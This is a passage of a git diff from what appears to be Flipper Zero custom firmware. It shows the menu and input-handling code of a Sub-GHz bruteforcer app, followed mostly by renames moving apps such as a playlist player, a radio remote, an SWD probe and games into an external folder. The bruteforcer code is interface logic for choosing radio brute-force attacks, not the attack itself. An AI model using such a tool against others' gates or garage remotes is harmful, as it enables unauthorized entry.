screen_width, + STATUS_BAR_Y_SHIFT + 2, + screen_height - STATUS_BAR_Y_SHIFT, + model->index, + SubBruteAttackTotalCount); + } +} + +bool subbrute_main_view_input(InputEvent* event, void* context) { + furi_assert(event); + furi_assert(context); + + if(event->key == InputKeyBack && event->type == InputTypeShort) { +#ifdef FURI_DEBUG + FURI_LOG_I(TAG, "InputKey: BACK"); +#endif + return false; + } + + SubBruteMainView* instance = context; +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "InputKey: %d, extra_repeats: %d", event->key, instance->extra_repeats); +#endif + const uint8_t min_value = 0; + const uint8_t correct_total = SubBruteAttackTotalCount - 1; + uint8_t max_repeats = 9 - subbrute_protocol_repeats_count(instance->index); + + bool updated = false; + bool consumed = false; + bool is_short = (event->type == InputTypeShort) || (event->type == InputTypeRepeat); + + if(!instance->is_select_byte) { + if(event->key == InputKeyUp && is_short) { + if(instance->index == min_value) { + instance->index = correct_total; + } else { + instance->index = CLAMP(instance->index - 1, correct_total, min_value); + } + instance->extra_repeats = 0; + updated = true; + consumed = true; + } else if(event->key == InputKeyDown && is_short) { + if(instance->index == correct_total) { + instance->index = min_value; + } else { + instance->index = CLAMP(instance->index + 1, correct_total, min_value); + } + instance->extra_repeats = 0; + updated = true; + consumed = true; + } else if(event->key == InputKeyLeft && is_short) { + instance->extra_repeats = CLAMP(instance->extra_repeats - 1, max_repeats, 0); + + updated = true; + consumed = true; + } else if(event->key == InputKeyRight && is_short) { + instance->extra_repeats = CLAMP(instance->extra_repeats + 1, max_repeats, 0); + + updated = true; + consumed = true; + } else if(event->key == InputKeyOk && is_short) { + if(instance->index == SubBruteAttackLoadFile) { + instance->callback(SubBruteCustomEventTypeLoadFile, instance->context); + } else { + instance->callback(SubBruteCustomEventTypeMenuSelected, instance->context); + } + consumed = true; + updated = true; + } + if(updated) { + instance->window_position = instance->index; + if(instance->window_position > 0) { + instance->window_position -= 1; + } + + if(SubBruteAttackTotalCount <= ITEMS_ON_SCREEN) { + instance->window_position = 0; + } else { + if(instance->window_position >= (SubBruteAttackTotalCount - ITEMS_ON_SCREEN)) { + instance->window_position = (SubBruteAttackTotalCount - ITEMS_ON_SCREEN); + } + } + } + } else if(is_short) { + if(event->key == InputKeyLeft) { + if((instance->index > 0 && !instance->two_bytes) || + (instance->two_bytes && instance->index > 1)) { + instance->index--; + } + updated = true; + consumed = true; + } else if(event->key == InputKeyRight) { + if(instance->index < 7) { + instance->index++; + } + updated = true; + consumed = true; + } else if(event->key == InputKeyUp) { + instance->two_bytes = !instance->two_bytes; + // Because index is changing + if(instance->two_bytes && instance->index < 7) { + instance->index++; + } + // instance->callback( + // instance->two_bytes ? SubBruteCustomEventTypeChangeStepUp : + // SubBruteCustomEventTypeChangeStepDown, + // instance->context); + + updated = true; + consumed = true; + } else if(event->key == InputKeyOk) { + instance->callback(SubBruteCustomEventTypeIndexSelected, instance->context); + consumed = true; + updated = true; + } + } + + if(updated) { + with_view_model( + instance->view, + SubBruteMainViewModel * model, + { + model->index = instance->index; + model->window_position = instance->window_position; + model->key_from_file = instance->key_from_file; + model->is_select_byte = instance->is_select_byte; + model->two_bytes = instance->two_bytes; + model->extra_repeats = instance->extra_repeats; + }, + true); + } + + return consumed; +} + +void subbrute_main_view_enter(void* context) { + furi_assert(context); + +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "subbrute_main_view_enter"); +#endif +} + +void subbrute_main_view_exit(void* context) { + furi_assert(context); + +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "subbrute_main_view_exit"); +#endif +} + +SubBruteMainView* subbrute_main_view_alloc() { + SubBruteMainView* instance = malloc(sizeof(SubBruteMainView)); + instance->view = view_alloc(); + view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(SubBruteMainViewModel)); + view_set_context(instance->view, instance); + view_set_draw_callback(instance->view, (ViewDrawCallback)subbrute_main_view_draw); + view_set_input_callback(instance->view, subbrute_main_view_input); + view_set_enter_callback(instance->view, subbrute_main_view_enter); + view_set_exit_callback(instance->view, subbrute_main_view_exit); + + instance->index = 0; + instance->window_position = 0; + instance->key_from_file = 0; + instance->is_select_byte = false; + instance->two_bytes = false; + instance->extra_repeats = 0; + with_view_model( + instance->view, + SubBruteMainViewModel * model, + { + model->index = instance->index; + model->window_position = instance->window_position; + model->key_from_file = instance->key_from_file; + model->is_select_byte = instance->is_select_byte; + model->two_bytes = instance->two_bytes; + model->extra_repeats = instance->extra_repeats; + }, + true); + + return instance; +} + +void subbrute_main_view_free(SubBruteMainView* instance) { + furi_assert(instance); + + view_free(instance->view); + free(instance); +} + +View* subbrute_main_view_get_view(SubBruteMainView* instance) { + furi_assert(instance); + return instance->view; +} + +void subbrute_main_view_set_index( + SubBruteMainView* instance, + uint8_t idx, + bool is_select_byte, + bool two_bytes, + uint64_t key_from_file) { + furi_assert(instance); + furi_assert(idx < SubBruteAttackTotalCount); +#ifdef FURI_DEBUG + FURI_LOG_I(TAG, "Set index: %d, is_select_byte: %d", idx, is_select_byte); +#endif + instance->is_select_byte = is_select_byte; + instance->two_bytes = two_bytes; + instance->key_from_file = key_from_file; + instance->index = idx; + instance->window_position = idx; + + if(!is_select_byte) { + if(instance->window_position > 0) { + instance->window_position -= 1; + } + + if(SubBruteAttackTotalCount <= ITEMS_ON_SCREEN) { + instance->window_position = 0; + } else { + if(instance->window_position >= (SubBruteAttackTotalCount - ITEMS_ON_SCREEN)) { + instance->window_position = (SubBruteAttackTotalCount - ITEMS_ON_SCREEN); + } + } + } + + with_view_model( + instance->view, + SubBruteMainViewModel * model, + { + model->index = instance->index; + model->window_position = instance->window_position; + model->key_from_file = instance->key_from_file; + model->is_select_byte = instance->is_select_byte; + model->two_bytes = instance->two_bytes; + model->extra_repeats = instance->extra_repeats; + }, + true); +} + +SubBruteAttacks subbrute_main_view_get_index(SubBruteMainView* instance) { + furi_assert(instance); + return instance->index; +} + +uint8_t subbrute_main_view_get_extra_repeats(SubBruteMainView* instance) { + furi_assert(instance); + return instance->extra_repeats; +} + +bool subbrute_main_view_get_two_bytes(SubBruteMainView* instance) { + furi_assert(instance); + return instance->two_bytes; +} \ No newline at end of file diff --git a/applications/external/subghz_bruteforcer/views/subbrute_main_view.h b/applications/external/subghz_bruteforcer/views/subbrute_main_view.h new file mode 100644 index 000000000..003cd9817 --- /dev/null +++ b/applications/external/subghz_bruteforcer/views/subbrute_main_view.h @@ -0,0 +1,32 @@ +#pragma once + +#include "../subbrute_custom_event.h" +#include "../subbrute_protocols.h" +#include +#include +#include + +typedef void (*SubBruteMainViewCallback)(SubBruteCustomEvent event, void* context); +typedef struct SubBruteMainView SubBruteMainView; + +void subbrute_main_view_set_callback( + SubBruteMainView* instance, + SubBruteMainViewCallback callback, + void* context); + +SubBruteMainView* subbrute_main_view_alloc(); +void subbrute_main_view_free(SubBruteMainView* instance); +View* subbrute_main_view_get_view(SubBruteMainView* instance); +void subbrute_main_view_set_index( + SubBruteMainView* instance, + uint8_t idx, + bool is_select_byte, + bool two_bytes, + uint64_t file_key); +SubBruteAttacks subbrute_main_view_get_index(SubBruteMainView* instance); +uint8_t subbrute_main_view_get_extra_repeats(SubBruteMainView* instance); +bool subbrute_main_view_get_two_bytes(SubBruteMainView* instance); +void subbrute_attack_view_enter(void* context); +void subbrute_attack_view_exit(void* context); +bool subbrute_attack_view_input(InputEvent* event, void* context); +void subbrute_attack_view_draw(Canvas* canvas, void* context); \ No newline at end of file diff --git a/applications/plugins/playlist/application.fam b/applications/external/subghz_playlist/application.fam similarity index 91% rename from applications/plugins/playlist/application.fam rename to applications/external/subghz_playlist/application.fam index 06357e24b..e137cdb39 100644 --- a/applications/plugins/playlist/application.fam +++ b/applications/external/subghz_playlist/application.fam @@ -3,7 +3,6 @@ App( name="Sub-GHz Playlist", apptype=FlipperAppType.EXTERNAL, entry_point="playlist_app", - cdefines=["APP_PLAYLIST"], requires=["storage", "gui", "dialogs", "subghz"], stack_size=2 * 1024, order=14, diff --git a/applications/plugins/playlist/canvas_helper.c b/applications/external/subghz_playlist/canvas_helper.c similarity index 100% rename from applications/plugins/playlist/canvas_helper.c rename to applications/external/subghz_playlist/canvas_helper.c diff --git a/applications/plugins/playlist/canvas_helper.h b/applications/external/subghz_playlist/canvas_helper.h similarity index 100% rename from applications/plugins/playlist/canvas_helper.h rename to applications/external/subghz_playlist/canvas_helper.h diff --git a/applications/plugins/timelapse/icons/ButtonRight_4x7.png b/applications/external/subghz_playlist/images/ButtonRight_4x7.png similarity index 100% rename from applications/plugins/timelapse/icons/ButtonRight_4x7.png rename to applications/external/subghz_playlist/images/ButtonRight_4x7.png diff --git a/applications/external/subghz_playlist/images/sub1_10px.png b/applications/external/subghz_playlist/images/sub1_10px.png new file mode 100644 index 000000000..5a25fdf4e Binary files /dev/null and b/applications/external/subghz_playlist/images/sub1_10px.png differ diff --git a/applications/plugins/playlist/playlist.c b/applications/external/subghz_playlist/playlist.c similarity index 98% rename from applications/plugins/playlist/playlist.c rename to applications/external/subghz_playlist/playlist.c index 1b16b1749..345b19927 100644 --- a/applications/plugins/playlist/playlist.c +++ b/applications/external/subghz_playlist/playlist.c @@ -17,6 +17,7 @@ #include #include +#include #include "playlist_file.h" #include "canvas_helper.h" @@ -696,6 +697,7 @@ void playlist_free(Playlist* app) { int32_t playlist_app(void* p) { UNUSED(p); + DOLPHIN_DEED(DolphinDeedPluginStart); // create playlist folder { @@ -713,6 +715,11 @@ int32_t playlist_app(void* p) { // Enable power for External CC1101 if it is connected furi_hal_subghz_enable_ext_power(); + // Auto switch to internal radio if external radio is not available + furi_delay_ms(15); + if(!furi_hal_subghz_check_radio()) { + furi_hal_subghz_set_radio_type(SubGhzRadioInternal); + } furi_hal_power_suppress_charge_enter(); diff --git a/applications/external/subghz_playlist/playlist_10px.png b/applications/external/subghz_playlist/playlist_10px.png new file mode 100644 index 000000000..3d3f1d27f Binary files /dev/null and b/applications/external/subghz_playlist/playlist_10px.png differ diff --git a/applications/plugins/playlist/playlist_file.c b/applications/external/subghz_playlist/playlist_file.c similarity index 100% rename from applications/plugins/playlist/playlist_file.c rename to applications/external/subghz_playlist/playlist_file.c diff --git a/applications/plugins/playlist/playlist_file.h b/applications/external/subghz_playlist/playlist_file.h similarity index 100% rename from applications/plugins/playlist/playlist_file.h rename to applications/external/subghz_playlist/playlist_file.h diff --git a/applications/main/subghz_remote/application.fam b/applications/external/subghz_remote/application.fam similarity index 55% rename from applications/main/subghz_remote/application.fam rename to applications/external/subghz_remote/application.fam index e09f8500f..e89f55b82 100644 --- a/applications/main/subghz_remote/application.fam +++ b/applications/external/subghz_remote/application.fam @@ -1,14 +1,16 @@ App( - appid="subghz_remote", + appid="SubGHz_Remote", name="Sub-GHz Remote", - apptype=FlipperAppType.APP, + apptype=FlipperAppType.EXTERNAL, entry_point="subghz_remote_app", cdefines=["APP_SUBGHZREMOTE"], requires=[ "gui", "dialogs", ], - icon="A_SubGHzRemote_14", stack_size=4 * 1024, order=11, + fap_icon="subghz_remote_10px.png", + fap_category="Sub-GHz", + fap_icon_assets="images", ) diff --git a/applications/external/subghz_remote/images/ButtonDown_7x4.png b/applications/external/subghz_remote/images/ButtonDown_7x4.png new file mode 100644 index 000000000..2954bb6a6 Binary files /dev/null and b/applications/external/subghz_remote/images/ButtonDown_7x4.png differ diff --git a/applications/external/subghz_remote/images/ButtonLeft_4x7.png b/applications/external/subghz_remote/images/ButtonLeft_4x7.png new file mode 100644 index 000000000..0b4655d43 Binary files /dev/null and b/applications/external/subghz_remote/images/ButtonLeft_4x7.png differ diff --git a/applications/external/subghz_remote/images/ButtonRight_4x7.png b/applications/external/subghz_remote/images/ButtonRight_4x7.png new file mode 100644 index 000000000..8e1c74c1c Binary files /dev/null and b/applications/external/subghz_remote/images/ButtonRight_4x7.png differ diff --git a/applications/external/subghz_remote/images/ButtonUp_7x4.png b/applications/external/subghz_remote/images/ButtonUp_7x4.png new file mode 100644 index 000000000..1be79328b Binary files /dev/null and b/applications/external/subghz_remote/images/ButtonUp_7x4.png differ diff --git a/assets/icons/MainMenu/Debug_14/frame_02.png b/applications/external/subghz_remote/images/Ok_btn_9x9.png similarity index 73% rename from assets/icons/MainMenu/Debug_14/frame_02.png rename to applications/external/subghz_remote/images/Ok_btn_9x9.png index 93b4f950e..9a1539da2 100644 Binary files a/assets/icons/MainMenu/Debug_14/frame_02.png and b/applications/external/subghz_remote/images/Ok_btn_9x9.png differ diff --git a/assets/icons/MainMenu/Debug_14/frame_03.png b/applications/external/subghz_remote/images/Pin_arrow_down_7x9.png similarity index 73% rename from assets/icons/MainMenu/Debug_14/frame_03.png rename to applications/external/subghz_remote/images/Pin_arrow_down_7x9.png index cf55953c8..9687397af 100644 Binary files a/assets/icons/MainMenu/Debug_14/frame_03.png and b/applications/external/subghz_remote/images/Pin_arrow_down_7x9.png differ diff --git a/assets/icons/MainMenu/Debug_14/frame_04.png b/applications/external/subghz_remote/images/Pin_arrow_left_9x7.png similarity index 73% rename from assets/icons/MainMenu/Debug_14/frame_04.png rename to applications/external/subghz_remote/images/Pin_arrow_left_9x7.png index 5f89c2e1b..fb4ded78f 100644 Binary files a/assets/icons/MainMenu/Debug_14/frame_04.png and b/applications/external/subghz_remote/images/Pin_arrow_left_9x7.png differ diff --git a/applications/external/subghz_remote/images/Pin_arrow_right_9x7.png b/applications/external/subghz_remote/images/Pin_arrow_right_9x7.png new file mode 100644 index 000000000..97648d176 Binary files /dev/null and b/applications/external/subghz_remote/images/Pin_arrow_right_9x7.png differ diff --git a/applications/external/subghz_remote/images/Pin_arrow_up_7x9.png b/applications/external/subghz_remote/images/Pin_arrow_up_7x9.png new file mode 100644 index 000000000..a91a6fd5e Binary files /dev/null and b/applications/external/subghz_remote/images/Pin_arrow_up_7x9.png differ diff --git a/applications/external/subghz_remote/images/Pin_cell_13x13.png b/applications/external/subghz_remote/images/Pin_cell_13x13.png new file mode 100644 index 000000000..1b1ff0c2f Binary files /dev/null and b/applications/external/subghz_remote/images/Pin_cell_13x13.png differ diff --git a/applications/plugins/timelapse/icons/Pin_star_7x7.png b/applications/external/subghz_remote/images/Pin_star_7x7.png similarity index 100% rename from applications/plugins/timelapse/icons/Pin_star_7x7.png rename to applications/external/subghz_remote/images/Pin_star_7x7.png diff --git a/applications/external/subghz_remote/images/back_10px.png b/applications/external/subghz_remote/images/back_10px.png new file mode 100644 index 000000000..f9c615a99 Binary files /dev/null and b/applications/external/subghz_remote/images/back_10px.png differ diff --git a/applications/external/subghz_remote/images/sub1_10px.png b/applications/external/subghz_remote/images/sub1_10px.png new file mode 100644 index 000000000..5a25fdf4e Binary files /dev/null and b/applications/external/subghz_remote/images/sub1_10px.png differ diff --git a/applications/external/subghz_remote/subghz_remote_10px.png b/applications/external/subghz_remote/subghz_remote_10px.png new file mode 100644 index 000000000..c6b410f4c Binary files /dev/null and b/applications/external/subghz_remote/subghz_remote_10px.png differ diff --git a/applications/main/subghz_remote/subghz_remote_app.c b/applications/external/subghz_remote/subghz_remote_app.c similarity index 98% rename from applications/main/subghz_remote/subghz_remote_app.c rename to applications/external/subghz_remote/subghz_remote_app.c index 77627f5ca..df4b8465a 100644 --- a/applications/main/subghz_remote/subghz_remote_app.c +++ b/applications/external/subghz_remote/subghz_remote_app.c @@ -8,7 +8,7 @@ #include #include -#include +#include #include #include @@ -22,6 +22,8 @@ #include #include #include +#include +#include #define SUBREMOTEMAP_FOLDER "/ext/subghz/remote" #define SUBREMOTEMAP_EXTENSION ".txt" @@ -491,6 +493,7 @@ void subghz_remote_tx_stop(SubGHzRemote* app) { alutech_reset_original_btn(); nice_flors_reset_original_btn(); somfy_telis_reset_original_btn(); + secplus2_reset_original_btn(); star_line_reset_mfname(); star_line_reset_kl_type(); } @@ -738,6 +741,11 @@ SubGHzRemote* subghz_remote_alloc(void) { // Enable power for External CC1101 if it is connected furi_hal_subghz_enable_ext_power(); + // Auto switch to internal radio if external radio is not available + furi_delay_ms(15); + if(!furi_hal_subghz_check_radio()) { + furi_hal_subghz_set_radio_type(SubGhzRadioInternal); + } furi_hal_power_suppress_charge_enter(); @@ -797,6 +805,7 @@ void subghz_remote_free(SubGHzRemote* app, bool with_subghz) { int32_t subghz_remote_app(void* p) { UNUSED(p); + DOLPHIN_DEED(DolphinDeedPluginStart); SubGHzRemote* app = subghz_remote_alloc(); app->file_path = furi_string_alloc(); diff --git a/applications/plugins/swd_probe/LICENSE.txt b/applications/external/swd_probe/LICENSE.txt similarity index 100% rename from applications/plugins/swd_probe/LICENSE.txt rename to applications/external/swd_probe/LICENSE.txt diff --git a/applications/plugins/swd_probe/adi.c b/applications/external/swd_probe/adi.c similarity index 100% rename from applications/plugins/swd_probe/adi.c rename to applications/external/swd_probe/adi.c diff --git a/applications/plugins/swd_probe/adi.h b/applications/external/swd_probe/adi.h similarity index 100% rename from applications/plugins/swd_probe/adi.h rename to applications/external/swd_probe/adi.h diff --git a/applications/plugins/swd_probe/application.fam b/applications/external/swd_probe/application.fam similarity index 80% rename from applications/plugins/swd_probe/application.fam rename to applications/external/swd_probe/application.fam index de2708e41..065ee8769 100644 --- a/applications/plugins/swd_probe/application.fam +++ b/applications/external/swd_probe/application.fam @@ -1,9 +1,8 @@ App( appid="swd_probe", name="[SWD] Probe", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="swd_probe_app_main", - cdefines=["APP_SWD_PROBE"], requires=["notification", "gui", "storage", "dialogs", "cli"], stack_size=2 * 1024, order=10, diff --git a/applications/external/swd_probe/icons/ButtonDown_7x4.png b/applications/external/swd_probe/icons/ButtonDown_7x4.png new file mode 100644 index 000000000..2954bb6a6 Binary files /dev/null and b/applications/external/swd_probe/icons/ButtonDown_7x4.png differ diff --git a/applications/external/swd_probe/icons/ButtonUp_7x4.png b/applications/external/swd_probe/icons/ButtonUp_7x4.png new file mode 100644 index 000000000..1be79328b Binary files /dev/null and b/applications/external/swd_probe/icons/ButtonUp_7x4.png differ diff --git a/applications/plugins/swd_probe/icons/app.png b/applications/external/swd_probe/icons/app.png similarity index 100% rename from applications/plugins/swd_probe/icons/app.png rename to applications/external/swd_probe/icons/app.png diff --git a/applications/plugins/swd_probe/icons/swd.png b/applications/external/swd_probe/icons/swd.png similarity index 100% rename from applications/plugins/swd_probe/icons/swd.png rename to applications/external/swd_probe/icons/swd.png diff --git a/applications/plugins/swd_probe/jep106.c b/applications/external/swd_probe/jep106.c similarity index 100% rename from applications/plugins/swd_probe/jep106.c rename to applications/external/swd_probe/jep106.c diff --git a/applications/plugins/swd_probe/jep106.h b/applications/external/swd_probe/jep106.h similarity index 100% rename from applications/plugins/swd_probe/jep106.h rename to applications/external/swd_probe/jep106.h diff --git a/applications/plugins/swd_probe/jep106.inc b/applications/external/swd_probe/jep106.inc similarity index 100% rename from applications/plugins/swd_probe/jep106.inc rename to applications/external/swd_probe/jep106.inc diff --git a/applications/plugins/swd_probe/model/chip.ply b/applications/external/swd_probe/model/chip.ply similarity index 100% rename from applications/plugins/swd_probe/model/chip.ply rename to applications/external/swd_probe/model/chip.ply diff --git a/applications/plugins/swd_probe/model/convert.py b/applications/external/swd_probe/model/convert.py similarity index 100% rename from applications/plugins/swd_probe/model/convert.py rename to applications/external/swd_probe/model/convert.py diff --git a/applications/plugins/swd_probe/model/model_chip.h b/applications/external/swd_probe/model/model_chip.h similarity index 100% rename from applications/plugins/swd_probe/model/model_chip.h rename to applications/external/swd_probe/model/model_chip.h diff --git a/applications/plugins/swd_probe/swd_probe_app.c b/applications/external/swd_probe/swd_probe_app.c similarity index 100% rename from applications/plugins/swd_probe/swd_probe_app.c rename to applications/external/swd_probe/swd_probe_app.c diff --git a/applications/plugins/swd_probe/swd_probe_app.h b/applications/external/swd_probe/swd_probe_app.h similarity index 100% rename from applications/plugins/swd_probe/swd_probe_app.h rename to applications/external/swd_probe/swd_probe_app.h diff --git a/applications/plugins/swd_probe/usb_uart.c b/applications/external/swd_probe/usb_uart.c similarity index 100% rename from applications/plugins/swd_probe/usb_uart.c rename to applications/external/swd_probe/usb_uart.c diff --git a/applications/plugins/swd_probe/usb_uart.h b/applications/external/swd_probe/usb_uart.h similarity index 100% rename from applications/plugins/swd_probe/usb_uart.h rename to applications/external/swd_probe/usb_uart.h diff --git a/applications/plugins/tama_p1/application.fam b/applications/external/tama_p1/application.fam similarity index 100% rename from applications/plugins/tama_p1/application.fam rename to applications/external/tama_p1/application.fam diff --git a/applications/plugins/tama_p1/compiled/assets_icons.h b/applications/external/tama_p1/compiled/assets_icons.h similarity index 100% rename from applications/plugins/tama_p1/compiled/assets_icons.h rename to applications/external/tama_p1/compiled/assets_icons.h diff --git a/applications/plugins/tama_p1/hal.c b/applications/external/tama_p1/hal.c similarity index 100% rename from applications/plugins/tama_p1/hal.c rename to applications/external/tama_p1/hal.c diff --git a/applications/plugins/tama_p1/hal_types.h b/applications/external/tama_p1/hal_types.h similarity index 100% rename from applications/plugins/tama_p1/hal_types.h rename to applications/external/tama_p1/hal_types.h diff --git a/applications/plugins/tama_p1/icons/icon_0.png b/applications/external/tama_p1/icons/icon_0.png similarity index 100% rename from applications/plugins/tama_p1/icons/icon_0.png rename to applications/external/tama_p1/icons/icon_0.png diff --git a/applications/plugins/tama_p1/icons/icon_1.png b/applications/external/tama_p1/icons/icon_1.png similarity index 100% rename from applications/plugins/tama_p1/icons/icon_1.png rename to applications/external/tama_p1/icons/icon_1.png diff --git a/applications/plugins/tama_p1/icons/icon_2.png b/applications/external/tama_p1/icons/icon_2.png similarity index 100% rename from applications/plugins/tama_p1/icons/icon_2.png rename to applications/external/tama_p1/icons/icon_2.png diff --git a/applications/plugins/tama_p1/icons/icon_3.png b/applications/external/tama_p1/icons/icon_3.png similarity index 100% rename from applications/plugins/tama_p1/icons/icon_3.png rename to applications/external/tama_p1/icons/icon_3.png diff --git a/applications/plugins/tama_p1/icons/icon_4.png b/applications/external/tama_p1/icons/icon_4.png similarity index 100% rename from applications/plugins/tama_p1/icons/icon_4.png rename to applications/external/tama_p1/icons/icon_4.png diff --git a/applications/plugins/tama_p1/icons/icon_5.png b/applications/external/tama_p1/icons/icon_5.png similarity index 100% rename from applications/plugins/tama_p1/icons/icon_5.png rename to applications/external/tama_p1/icons/icon_5.png diff --git a/applications/plugins/tama_p1/icons/icon_6.png b/applications/external/tama_p1/icons/icon_6.png similarity index 100% rename from applications/plugins/tama_p1/icons/icon_6.png rename to applications/external/tama_p1/icons/icon_6.png diff --git a/applications/plugins/tama_p1/icons/icon_7.png b/applications/external/tama_p1/icons/icon_7.png similarity index 100% rename from applications/plugins/tama_p1/icons/icon_7.png rename to applications/external/tama_p1/icons/icon_7.png diff --git a/applications/plugins/tama_p1/tama.h b/applications/external/tama_p1/tama.h similarity index 100% rename from applications/plugins/tama_p1/tama.h rename to applications/external/tama_p1/tama.h diff --git a/applications/external/tama_p1/tamaIcon.png b/applications/external/tama_p1/tamaIcon.png new file mode 100644 index 000000000..ccdf23972 Binary files /dev/null and b/applications/external/tama_p1/tamaIcon.png differ diff --git a/applications/plugins/tama_p1/tama_p1.c b/applications/external/tama_p1/tama_p1.c similarity index 100% rename from applications/plugins/tama_p1/tama_p1.c rename to applications/external/tama_p1/tama_p1.c diff --git a/applications/plugins/tama_p1/tamalib/LICENSE b/applications/external/tama_p1/tamalib/LICENSE similarity index 100% rename from applications/plugins/tama_p1/tamalib/LICENSE rename to applications/external/tama_p1/tamalib/LICENSE diff --git a/applications/plugins/tama_p1/tamalib/cpu.c b/applications/external/tama_p1/tamalib/cpu.c similarity index 100% rename from applications/plugins/tama_p1/tamalib/cpu.c rename to applications/external/tama_p1/tamalib/cpu.c diff --git a/applications/plugins/tama_p1/tamalib/cpu.h b/applications/external/tama_p1/tamalib/cpu.h similarity index 100% rename from applications/plugins/tama_p1/tamalib/cpu.h rename to applications/external/tama_p1/tamalib/cpu.h diff --git a/applications/plugins/tama_p1/tamalib/hal.h b/applications/external/tama_p1/tamalib/hal.h similarity index 100% rename from applications/plugins/tama_p1/tamalib/hal.h rename to applications/external/tama_p1/tamalib/hal.h diff --git a/applications/plugins/tama_p1/tamalib/hal_types.h.template b/applications/external/tama_p1/tamalib/hal_types.h.template similarity index 100% rename from applications/plugins/tama_p1/tamalib/hal_types.h.template rename to applications/external/tama_p1/tamalib/hal_types.h.template diff --git a/applications/plugins/tama_p1/tamalib/hw.c b/applications/external/tama_p1/tamalib/hw.c similarity index 100% rename from applications/plugins/tama_p1/tamalib/hw.c rename to applications/external/tama_p1/tamalib/hw.c diff --git a/applications/plugins/tama_p1/tamalib/hw.h b/applications/external/tama_p1/tamalib/hw.h similarity index 100% rename from applications/plugins/tama_p1/tamalib/hw.h rename to applications/external/tama_p1/tamalib/hw.h diff --git a/applications/plugins/tama_p1/tamalib/tamalib.c b/applications/external/tama_p1/tamalib/tamalib.c similarity index 100% rename from applications/plugins/tama_p1/tamalib/tamalib.c rename to applications/external/tama_p1/tamalib/tamalib.c diff --git a/applications/plugins/tama_p1/tamalib/tamalib.h b/applications/external/tama_p1/tamalib/tamalib.h similarity index 100% rename from applications/plugins/tama_p1/tamalib/tamalib.h rename to applications/external/tama_p1/tamalib/tamalib.h diff --git a/applications/plugins/tanksgame/application.fam b/applications/external/tanksgame/application.fam similarity index 100% rename from applications/plugins/tanksgame/application.fam rename to applications/external/tanksgame/application.fam diff --git a/applications/plugins/tanksgame/constants.h b/applications/external/tanksgame/constants.h similarity index 100% rename from applications/plugins/tanksgame/constants.h rename to applications/external/tanksgame/constants.h diff --git a/applications/plugins/tanksgame/images/HappyFlipper_128x64.png b/applications/external/tanksgame/images/HappyFlipper_128x64.png similarity index 100% rename from applications/plugins/tanksgame/images/HappyFlipper_128x64.png rename to applications/external/tanksgame/images/HappyFlipper_128x64.png diff --git a/applications/plugins/tanksgame/images/TanksSplashScreen_128x64.png b/applications/external/tanksgame/images/TanksSplashScreen_128x64.png similarity index 100% rename from applications/plugins/tanksgame/images/TanksSplashScreen_128x64.png rename to applications/external/tanksgame/images/TanksSplashScreen_128x64.png diff --git a/applications/plugins/tanksgame/images/enemy_down.png b/applications/external/tanksgame/images/enemy_down.png similarity index 100% rename from applications/plugins/tanksgame/images/enemy_down.png rename to applications/external/tanksgame/images/enemy_down.png diff --git a/applications/plugins/tanksgame/images/enemy_left.png b/applications/external/tanksgame/images/enemy_left.png similarity index 100% rename from applications/plugins/tanksgame/images/enemy_left.png rename to applications/external/tanksgame/images/enemy_left.png diff --git a/applications/plugins/tanksgame/images/enemy_right.png b/applications/external/tanksgame/images/enemy_right.png similarity index 100% rename from applications/plugins/tanksgame/images/enemy_right.png rename to applications/external/tanksgame/images/enemy_right.png diff --git a/applications/plugins/tanksgame/images/enemy_up.png b/applications/external/tanksgame/images/enemy_up.png similarity index 100% rename from applications/plugins/tanksgame/images/enemy_up.png rename to applications/external/tanksgame/images/enemy_up.png diff --git a/applications/plugins/tanksgame/images/projectile_down.png b/applications/external/tanksgame/images/projectile_down.png similarity index 100% rename from applications/plugins/tanksgame/images/projectile_down.png rename to applications/external/tanksgame/images/projectile_down.png diff --git a/applications/plugins/tanksgame/images/projectile_left.png b/applications/external/tanksgame/images/projectile_left.png similarity index 100% rename from applications/plugins/tanksgame/images/projectile_left.png rename to applications/external/tanksgame/images/projectile_left.png diff --git a/applications/plugins/tanksgame/images/projectile_right.png b/applications/external/tanksgame/images/projectile_right.png similarity index 100% rename from applications/plugins/tanksgame/images/projectile_right.png rename to applications/external/tanksgame/images/projectile_right.png diff --git a/applications/plugins/tanksgame/images/projectile_up.png b/applications/external/tanksgame/images/projectile_up.png similarity index 100% rename from applications/plugins/tanksgame/images/projectile_up.png rename to applications/external/tanksgame/images/projectile_up.png diff --git a/applications/plugins/tanksgame/images/tank_base.png b/applications/external/tanksgame/images/tank_base.png similarity index 100% rename from applications/plugins/tanksgame/images/tank_base.png rename to applications/external/tanksgame/images/tank_base.png diff --git a/applications/plugins/tanksgame/images/tank_down.png b/applications/external/tanksgame/images/tank_down.png similarity index 100% rename from applications/plugins/tanksgame/images/tank_down.png rename to applications/external/tanksgame/images/tank_down.png diff --git a/applications/plugins/tanksgame/images/tank_explosion.png b/applications/external/tanksgame/images/tank_explosion.png similarity index 100% rename from applications/plugins/tanksgame/images/tank_explosion.png rename to applications/external/tanksgame/images/tank_explosion.png diff --git a/applications/plugins/tanksgame/images/tank_hedgehog.png b/applications/external/tanksgame/images/tank_hedgehog.png similarity index 100% rename from applications/plugins/tanksgame/images/tank_hedgehog.png rename to applications/external/tanksgame/images/tank_hedgehog.png diff --git a/applications/plugins/tanksgame/images/tank_left.png b/applications/external/tanksgame/images/tank_left.png similarity index 100% rename from applications/plugins/tanksgame/images/tank_left.png rename to applications/external/tanksgame/images/tank_left.png diff --git a/applications/plugins/tanksgame/images/tank_right.png b/applications/external/tanksgame/images/tank_right.png similarity index 100% rename from applications/plugins/tanksgame/images/tank_right.png rename to applications/external/tanksgame/images/tank_right.png diff --git a/applications/plugins/tanksgame/images/tank_stone.png b/applications/external/tanksgame/images/tank_stone.png similarity index 100% rename from applications/plugins/tanksgame/images/tank_stone.png rename to applications/external/tanksgame/images/tank_stone.png diff --git a/applications/plugins/tanksgame/images/tank_up.png b/applications/external/tanksgame/images/tank_up.png similarity index 100% rename from applications/plugins/tanksgame/images/tank_up.png rename to applications/external/tanksgame/images/tank_up.png diff --git a/applications/plugins/tanksgame/images/tank_wall.png b/applications/external/tanksgame/images/tank_wall.png similarity index 100% rename from applications/plugins/tanksgame/images/tank_wall.png rename to applications/external/tanksgame/images/tank_wall.png diff --git a/applications/plugins/tanksgame/tanksIcon.png b/applications/external/tanksgame/tanksIcon.png similarity index 100% rename from 